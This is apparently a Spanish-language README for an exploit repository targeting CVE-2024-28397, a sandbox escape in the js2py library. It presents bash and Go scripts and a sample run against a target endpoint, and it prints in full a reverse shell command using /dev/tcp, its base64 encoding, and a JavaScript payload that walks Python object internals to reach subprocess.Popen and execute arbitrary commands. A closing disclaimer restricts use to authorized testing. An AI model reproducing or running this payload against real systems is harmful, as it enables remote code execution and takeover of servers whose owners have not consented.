
Scripts de exploit para CVE-2024-28397, un escape de sandbox de js2py que ejecuta código Python arbitrario para generar un shell inverso en un endpoint objetivo.
Una colección de scripts de exploit dirigidos a la vulnerabilidad de escape de sandbox de js2py (CVE-2024-28397) que permite la ejecución de código arbitrario a través de la introspección de objetos de Python.
La biblioteca js2py contiene una vulnerabilidad crítica de escape de sandbox que permite a los atacantes ejecutar código Python arbitrario accediendo a objetos internos de Python a través del método Object.getOwnPropertyNames() de JavaScript.
Este exploit se basa en el análisis exhaustivo de Marven11:
Este repositorio contiene tres implementaciones diferentes:
exploit.sh)Implementación ligera de bash usando curl y jq.
exploit.go)Implementación multiplataforma de Go con cliente HTTP incorporado.
curl, jq, base64Todos los scripts son interactivos y solicitarán la información requerida:
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
Cada script pedirá:
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
El exploit crea dinámicamente un comando de reverse shell:
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
El comando shell se codifica en base64 para una transmisión segura:
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
El exploit principal utiliza JavaScript para acceder a los objetos internos de Python:
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({})__class__.__base__.__getattribute__subprocess.PopenPopenEstos scripts se proporcionan únicamente con fines educativos y de pruebas autorizadas. Asegúrate siempre de tener la autorización adecuada antes de realizar pruebas contra cualquier sistema.
Este software se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Los usuarios son responsables de cumplir con las leyes aplicables y de obtener la autorización adecuada antes de su uso.